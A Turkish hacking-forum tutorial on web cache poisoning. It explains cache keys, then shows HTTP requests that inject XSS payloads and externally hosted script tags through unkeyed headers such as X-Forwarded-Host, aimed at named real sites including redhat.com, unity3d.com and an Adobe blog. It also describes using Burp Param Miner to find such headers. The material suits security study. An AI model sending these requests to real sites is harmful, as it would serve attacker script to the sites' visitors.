Herkese Selam değerli TurkHackTeam Ailesi bu konumda sizlere web önbellegi zehirlenmesi nedir nasıl yapılır bundan bahsedeceğim ilgisi olanlara faydalı olması dilegim ile.
1-)Web Önbellegi ( Cache ) Nedir ?:
Bizler googlede yada herhangi bir arama motorunda bir sayfayı ilk açtıgımızda biraz yavaş açılabilir fakar 2.kez girdigimizde sayfa daha hızlı açılır bunun sebebi ise tabiki önbellektir ingilizcesi ( Cache ) olan bu arkadaşımız bu gibi bazı durumlarda bize yardımcı oluyor en son yaptıgınız işlemleri depolayarak degerlendirerek bi sonraki işlemlerimizi tahmin ederekte hızlandıra biliyor. Bu sebepten dolayı önbellegimiz arama motorları, mobil uygulamalar vb şeyler server ile önbellek arasında gerçekleşir. Web Önbellek Zehirlenmesini anlaya bilmemiz için bu mantıgı kavramamız gerekmektedir.
2-)Önbellek Anahtarları ( Cache Keys ):
Önbellek bir HTTP istegi aldıgı zaman, öncesinde önbellege alınmış bir istek olup olmadıgını veya arka uç sunucu tarafından iletilmesi gerekip gerekmediğini belirlemelidir. Önbellek anahtarları olarak bilinen istegin bileşenlerinin önceden tanımlanmış bir alt kümesini karşılaştırarak eşdeger istekleri tanımlar. Genellikle bu istek Önbellek anahtarında bulunmayan istek bileşenlerinin anahtarlanmamış oldugunu söyler
3-)Web Önbellek Zehirlenmesi Nedir? :
Web önbellek zehirlenmesi, bir saldırganın bir web sunucusunun ve önbelleğin davranışını kullanarak diğer kullanıcılara zararlı bir HTTP yanıtının sunulmasını sağlayan gelişmiş bir tekniktir. Temel olarak, web önbellek zehirlenmesi iki aşamadan oluşur. İlk olarak, saldırganın, yanlışlıkla bir tür tehlikeli yük içeren arka uç sunucudan nasıl bir yanıt alacağını bulması gerekir. Başarılı olduklarında, yanıtlarının önbelleğe alındığından ve ardından amaçlanan kurbanlara sunulduğundan emin olmaları gerekir. Zehirlenmiş bir web önbelleği, potansiyel olarak çok sayıda farklı saldırıyı dağıtmanın, XSS , JavaScript enjeksiyonu, açık yeniden yönlendirme gibi güvenlik açıklarından yararlanmanın yıkıcı bir yolu olabilir.
4-)Web Önbellek Zehirlenmesi Nasıl Yapılır?:
1.Basit Zehirleme;
Kod:
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Cache-Control: public, no-cache
<**** property="og:image" content="https://canary/cms/social.png" />
Yukarıdaki bellirtigim kod kısmında X-Forwarded-Host başlıgının uygulama tarafından bir **** etiket içinde bir Açık Grafik URLsi yapılması için kullanıldıgını görebiliriz. Şimdi ise yapmamız gereken bunun istismar edilebilir olup olmadıgını araştırmaktır - basit bir siteler arası komut dosyası yüklemesi ile başlayacagız
Kod:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
<**** property="og:image" content="https://a."><script>alert(1)</script>"/>
XSS kodlarından biri ile çalıştırarak bir yanıt alabilecegimizi gördügümüze göre devam edelim. Son adım, bu yanıtın diger kullanıcılara teslim edilmesi için bir önbellekte saklanıp saklanmadıgını kontrol etmektir. ( Önbellek Denetimi: önbelleksiz başlıgının ) sizi vazgeçirmesine izin vermeyiniz. Önce isteği kötü amaçlı başlık olmadan yeniden göndererek ve ardından URLsini dogrudan farklı bir makinedeki bir tarayıcıdan getirerek dogrulayabilirsiniz
Kod:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
<**** property="og:image" content="https://a."><script>alert(1)</script>"/>
Yanıtımızda bir önbellegin mevcut oldugunu gösteren herhangi bir başlık olmasa da açıgımız açık bu şekilde önbellege alındı.
2.Gizli Zehirleme;
Sitenin ana sayfasını gerçekten zehirlemek ve istismarımızı sonrasında gelen tüm ziyaretçilere sunabilmek için, önbellege yanıt aldıktan sonra ilk isteği ana sayfaya gönderdiğimizden emin olmamız gerekir. Bunuda. Burp Intruder gibi bir araç veya çok sayıda istek göndermek için özel bir komut dosyası kullanılarak deneyebiliriz fakat aşırı yogun trafikli bir yaklaşım pek iyi sonuçlar çıkarmaya bilir işlerimizi uzatabilir.
Kod:
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
3.Seçili Zehirleme;
HTTP başlıklarının önbelleklerin içindeki işleyişi ile ilgili zaman kazandırabilir. Fastly kullanan ve isimlendirilemeyen aşagıdaki web sayfasını inceleyelim
Kod:
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0
Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>
4.Dahili Önbellek Zehirlemesi;
Aşagıda Belirtecegim code kısmındaki istekle Adobe blogunda olası bir önbellek zehirlenmesi sorunu varmı yokmu diye baktıktan sonra Burp Collaborator aracılıgı sayesinde web sayfasının hemen hemen çogu yerinden gelen uzun süreli bir trafik akışı alacagız
Kod:
GET /access-the-power-of-adobe-acrobat?dontpoisoneveryone=1 HTTP/1.1
Host: theblog.adobe.com
X-Forwarded-Host: collaborator-id.psres.net
Kod:
GET / HTTP/1.1
Host: theblog.adobe.com
HTTP/1.1 200 OK
X-Cache: HIT - WP Rocket Cache
...
<script src="https://collaborator-id.psres.net/foo.js"/>
...
<a href="https://collaborator-id.psres.net/post">
5.Param Miner;
Burp Suite Param Miner uzantısını ekleyerek anahtarlanmamış girdileri tanımlama sürecini otomatikleştirebilirsiniz . Param Miner'ı kullanmak için, araştırmak istediginiz bir istege sag tıklayın ve 'Guess headers' kısmına tıklayın. Param Miner daha sonra arka planda çalışır ve kapsamlı, yerleşik başlık listesinden farklı girdiler içeren istekler gönderir. Eklenen girdilerinden birini içeren bir istegin yanıt üzerinde bir etkisi varsa, Param Miner bunu Burp Suite Professional kullanıyorsanız 'Issues' bölmesinde veya uzantının (' Output 'kısmındaki ) günlüge kaydeder. Extender > Extensions > Param Miner > Output
Örnegin aşagıdaki ekran görüntüsünde Param Miner X-Forwarded-Host web sayfasının ana sayfasında anahtarsız bir başlık buldu
5-)Verilen Hasarlar Neler Olabilir Ne Kadar Büyük Olabilir? :
Saldırımızda zehirli önbellek bagımsız bir saldırıdan daha çok bir dagıtım aracı oldugundan web önbellek zehirlenmesinin etkisi enjekte edilen yükün ne kadar zararlı oldugu ile ayrılmaz bir şekilde baglantılıdır. Bu saldırı türünü diğer saldırılarımızı desteklemek için beraberinde kullanabiliriz. Zehirli yanıt yalnızca önbellek zehirlendiginde etkilenen sayfayı ziyaret eden insanlara sunulacaktır. Sonuç olarak sayfanın popüler olup olmamasına baglı olarak etki yoktan büyük boyuta kadar değişebilir.
Evet degerli TurkHackTeam Ailesi bu konumda sizlere web önbellegi zehirlenmesi nedir ve nasıl yapılır adlı konumuzu anlatmaya çalıştım umarım anlaşılır bir dilde anlatmışımdır.
İYİ FORUMLAR İYİ EĞLENCELER İYİ ŞANSLAR :diablo
Son düzenleme: